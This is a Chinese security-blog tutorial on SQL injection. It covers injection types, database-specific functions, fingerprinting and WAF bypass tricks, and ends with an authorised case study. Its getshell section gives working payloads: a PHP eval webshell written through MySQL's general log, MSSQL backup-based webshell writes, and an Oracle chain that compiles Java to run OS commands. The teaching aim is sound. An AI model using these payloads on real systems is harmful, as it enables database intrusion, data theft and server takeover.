查看原文
其他

从0到1深入浅出学习SQL注入

Windsss 听风安全 2023-11-28

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

Part1 前言 

叒有一段时间没写文章了,正好周末有时间就来写写,本文来讲讲有关SQL注入相关的知识点会尽可能详细的写出来,比较适合刚入门安全的小白进行学习,希望能在面试或实战中助你一臂之力。如有大佬发现文中内容有错误的地方恳请斧正!也欢迎各位师傅共同交流学习技术!

Part2 了解SQL注入

SQL注入分类:

从注入参数类型分:数字型注入、字符型注入

从注入效果分:报错注入、布尔注入、延时注入、联合注入、堆叠注入、宽字节注入

从提交方式分:GET注入、POST注入、HTTP头注入、COOKIE注入

常见位置:

  1. URL参数:攻击者可以在应用程序的URL参数中注入恶意SQL代码,例如在查询字符串或路径中。

  2. 表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等,如果没有进行充分的输入验证和过滤,就可能成为SQL注入的目标。

  3. Cookie:如果应用程序使用Cookie来存储用户信息或会话状态,攻击者可以通过修改Cookie中的值来进行SQL注入攻击。

  4. HTTP头部:有些应用程序可能会从HTTP头部中获取数据,攻击者可以在HTTP头部中注入恶意SQL代码。

  5. 数据库查询语句:在应用程序中直接拼接SQL查询语句的地方,如果没有正确地对用户输入进行过滤和转义,就可能导致SQL注入漏洞。

  6. 还有各种实战过程中遇到过的存在SQL注入的参数,比如可控的表名列名、order by、desc等参数,在其他站点遇到相同参数时可以重点测试。

如何判断:

单双引号判断、and 1=1和 and 1=2判断、or和xor判断、exp(709)和exp(710)判断等等

具体使用可自行查询,测试中一定要注意闭合。

常用函数

Mysql

system_user() 

系统用户名

user()

用户名

current_user() 当前用户名

database()

数据库名

version()

数据库版本

@@verison

版本

load_file()

读取本地文件

ascii()

字符串的ASCII代码值

ord()

返回字符串第一个字符的ASCII值 

mid()

截取函数

 substr()

截取函数

length()

返回字符串的长度

left()

从左截取 

right()

从右截取 

extractvalue() 

报错函数

updatexml() 

报错函数

 sleep()

延时函数

exp()

返回e的x次方

floor()

报错函数

hex()

转十六进制

注释:

1. #注释内容,表示单行注释

2." --  注释内容" (注意--后面有一个空格)

3. /*注释内容*/

Mssql

有些函数与Mysql的类似就不过多介绍了,不过要注意的是MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错。

user

用户名


host_name()

主机名


db_name()

数据库名


getdate()

当前时间


system_user

系统用户名


user_name()

当前用户


convert()

把⽇期转换为新数据类型的通⽤函数


substring()

字符串截取函数


WAITFOR DELAY '0:0:3'

延时3秒

简单介绍一下convert()函数如何使用:

convert(int,@@version)的含义是将@@version的结果转换为整数类型。但是,@@version返回的是SQL Server的版本信息,是一个字符串类型的值。因此,尝试将一个字符串转换为整数类型会导致转换失败,从而抛出一个错误。可利用这个错误来获取版本的信息。

注释:

1. /* 注释内容*/ 

2. --注释内容;

3. ;%00 注释内容

Oracle

报错注入:

1. ctxsys.drithsx.sn()2. XMLType()3. dbms_xdb_version.checkin()4. bms_xdb_version.makeversioned()5. dbms_xdb_version.uncheckout()6. dbms_utility.sqlid_to_sqlhash()7. ordsys.ord_dicom.getmappingxpath()


报错函数较多就不一一解释了,可借助官方手册或者AI进行深入学习。


尔盲注:

1. decode()

decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3

2. instr()

举个栗子:

SELECT INSTR('Hello, World!', 'World') AS Position FROM DUAL;

在上述示例中,INSTR函数会在目标字符串 'Hello, World!' 中查找子字符串 'World' 的位置,并返回其出现的位置。如果子字符串不存在,则返回 0。

需要注意的是,Oracle的字符串索引从 1 开始,而不是从 0 开始。如果要查找所有出现的位置,可以使用循环结构或递归。

延时盲注:

DBMS_PIPE.RECEIVE_MESSAGE()

DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。如想熟悉掌握此函数建议查询相关资料进行学习。

外带函数:

1. DBMS_LDAP.INIT2. UTL_INADDR.GET_HOST_ADDRESS3. UTL_HTTP.request4. UTL_TCP.request5. UTL_SMPTP.request6. UTL_URL.request7. HTTPURITYPE.request

达梦数据库

达梦数据库遇到的比较少,贴一个以前发过的文章链接,有遇到的可以试试。

达梦数据库手工注入笔记

Part3  如何判断是什么类型的数据库?

端口判断

Oracle:1521mssql:1433Mysql:3306

报错信息判断

Oracle数据库:报错信息通常带有ORA关键字

Mssql数据库:一眼为真

(图来源网络)

常用系统架构组合识别

asp、.net:mssqlphp:mysql、postgresqljava:oracle、mysqliis:mssqlapache:mysql、postgresql

根据注释符判断

在MySQL中,可以使用#符号进行注释。#后的所有内容都会被视为注释,直到该行结束。如返回错误说明该注入点可能不是MySQL。另外,MySQL也支持使用--符号进行注释。但需要注意的是,在MySQL中使用--注释时,需要在--后添加一个空格。

“--”是Oracle和MSSQL都支持使用的注释符,如果返回正常,可能为其中的一个。

堆叠注入中";"也是经常用到的符号,Oracle不支持堆叠查询,如果返回错误,很可能是Oracle数据库。

特定语句

Mysql中@@versionversion()两种方式都支持

Mssql使用@@version查看版本信息

oracle查看数据库版本:

select * from v$version;SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

也可以通过内置函数等方式进行判断,不一一举例了,可自行查阅了解。

Part4 WAF绕过 

既然学习SQL注入当然也不可避免的会经常遇到恶心的WAF,WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录。接下来就分享一些常见的绕过WAF的思路。

双写绕过

有些WAF会对关键词进行过滤,若过滤了一次关键词可尝试双写进行绕过

and、or、xor绕过

有些WAF 会对and 、or、xor进行拦截。

替代字符:and 用&&代替,or 用 ||代替,、xor 用|代替

等号绕过

有些WAF会对"="进行过滤,可尝试用like和regexp进行绕过

绕过空格

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/ + ()

绕过引号

URL编码

16进制

ASCII编码

绕过逗号

在使用盲注的时候,会经常用到 substr() 、substring() 、mid() 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr()、substring() 和 mid() 这几个函数可以使用from for的方式来绕过。

比如:substr(database(),1,1)—> substr(database() from 1 for 1)

等价函数替换绕过

如果在测试过程中发现substr()函数被拦截则可以尝试用mid()函数进行绕过,或者可以使用不常用的函数或者功能相同的其他函数进行绕过。

脏数据绕过

如果数据过多可能过超出WAF的检测范围导致被绕过,前面填充大量的垃圾数据后面填写要注入的语句,但是要注意的是如果是GET类型可能会超过传输长度导致无法利用成功,可尝试改变为POST请求进行绕过。

还有一些很常见的思路比如大小写绕过,Emoji绕过和分块传输绕过等等,平时多练习多积累,下次遇到WAF就能ez绕过了。

Part5 如何Getshell?

由于Getshell涉及到的内容较多,所以就写一写大概的思路,具体利用可去手动复现。

Mysql

1. outfile和dumpfile写shell

利用条件

1. 数据库当前用户为root权限2. 知道当前站点绝对路径3. secure_file_priv=为空4. PHP的GPC为 off状态5. 写入的路径存在写入权限

区别:outfile写完会有脏数据,dumpfile可以做到没有脏数据,所以在udf的时候是用的dumpfile

2.日志getshell

show variables like '%general%'; set global general_log = on; #开启日志set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php';     #设置日志路径select '<?php @eval($_POST['tingfeng'])?>' #将webshell写到网站根目录

3.使用sqlmap 的 --os-shell参数

sqlmap -u http://127.0.0.1/sqli-xxx/xxx-1?id=1 --os-shell

执行此命令后需填写网站所用的脚本语言以及绝对路径

原理:sqlmap会上传两个选定的脚本到文件目录,以php为例,会上传两个文件,其中一个提供文件上传功能,利用该文件可以上传文件到绝对路径下,另一个文件类似一句话木马,使我们可以通过cmd参数执行系统命令。

Mssql

xp_cmdshell

内容较多且网上文章也比较多就不具体介绍了,可自行查阅学习。

差异备份

目标路径必须有写入权限

# 查看要创建的临时表是否被占用IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;# 将数据库备份至文件中backup database db_name to disk = "目标文件路径.bak";# 创建临时表create table test (a image);# 写入木马insert into test(a) values('一句话木马');# 重新备份,木马写入文件backup database db_name to disk = '目标文件路径.asp' with differential,forma

日志差异备份

1. 数据库之前备份过 2. 恢复模式是完整模式 3. 目标路径有写权限

# 查看要创建的临时表是否被占用 IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;# 将数据库的恢复模式设置为完整模式alter database db_name set RECOVERY FULL;# 创建临时表create table temp (a image);# 备份数据库日志,并写入文件中backup log db_name to disk = '目标文件绝对路径.bak' with init;# 在临时表中插入木马字符串insert into temp (a) values ('一句话木马');# 将含有木马字符串的日志备份写入文件中backup log db_name to disk = '目标文件绝对路径.aspx';

Oracle

1.oracle提权

① 创建JAVA包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

② JAVA权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

③ 创建函数

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

④ 执行命令

select LinxRUNCMD('whoami') from dual;

⑤如果无法执行命令或者提示权限不足可使用以下语句添加权限

GRANT JAVASYSPRIV to vmith;

2.ODAT利用工具

ODAT是一款专门用于Oracle渗透的工具,能够枚举SID、账户密码、命令执行等等,如果在实战中遇到oracle数据库可尝试利用此工具进行测试。

Github地址:https://github.com/quentinhardy/odat

Part6 实战案例

f0ng师傅分享的一个案例~已获授权分享

正常请求是可以返回数据的

加单引号报错

两个单引号,正常

三个单引号,报错,经典!

一开始以为这个注入很简单,直接and或者or不就行了吗?1'and'1'='或者`1'or’1'='1

1'and'1'='

`1'or’1'='1

这里可能是因为id=1没数据导致的,id=2的时候有数据,但是也不行

后面也是尝试了很多payload,都不行,闭合不了语句,也无法判断逻辑

后续发现还有另一个参数,因为该接口来源于JS文件,直接访问接口如图:

还有个mobile参数!

这样来说,可能这里是采用的or逻辑判断(id为2的时候可以出数据),但是由于id处无法闭合,所以我们可以尝试mobile参数处:

直接可以成功!

猜测这里语句为select * from test_table where userid = '{可控}' or mobile = '{可控}',但是这里userid后面肯定有其他的干扰语句,导致userid无法正常注入

以为直接到此为止了,使用substr函数就可以去注出数据了,但是发现服务器不允许传入substr

后续使用了其他函数instr来进行注入

这里过滤了空格,所以替换成了%0a

然后再用intruder的模块进行依次爆破,就可以得到完整用户名了。

Part7 总结

本篇文章都是一些比较基础的知识点还有很多难点没有写出来,想进阶提升的小伙伴可自行扩展学习,多动手多思考多写笔记。先埋个小坑后续会写写关于高频面试题目的解析,路虽远,行则必达!

参考文章:

https://xz.aliyun.com/t/9940#toc-21

https://mp.weixin.qq.com/s/VbA_EHbeP7JARi71-dvWWA

https://mp.weixin.qq.com/s/J7SYf4HNw5m9vO88ZFg7IA

不可错过的往期推荐哦








Phobos家族勒索病毒分析

SRC漏洞挖掘之未授权接口

记一次对某变异webshell的分析

揭秘虚假红包套路|对微信裂变式广告的一次分析

U盘植马之基于arduino的badusb实现及思考

内网隧道技术,你知道几个?

APT是如何杜绝软件包被篡改的

SRC挖掘葵花宝典

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存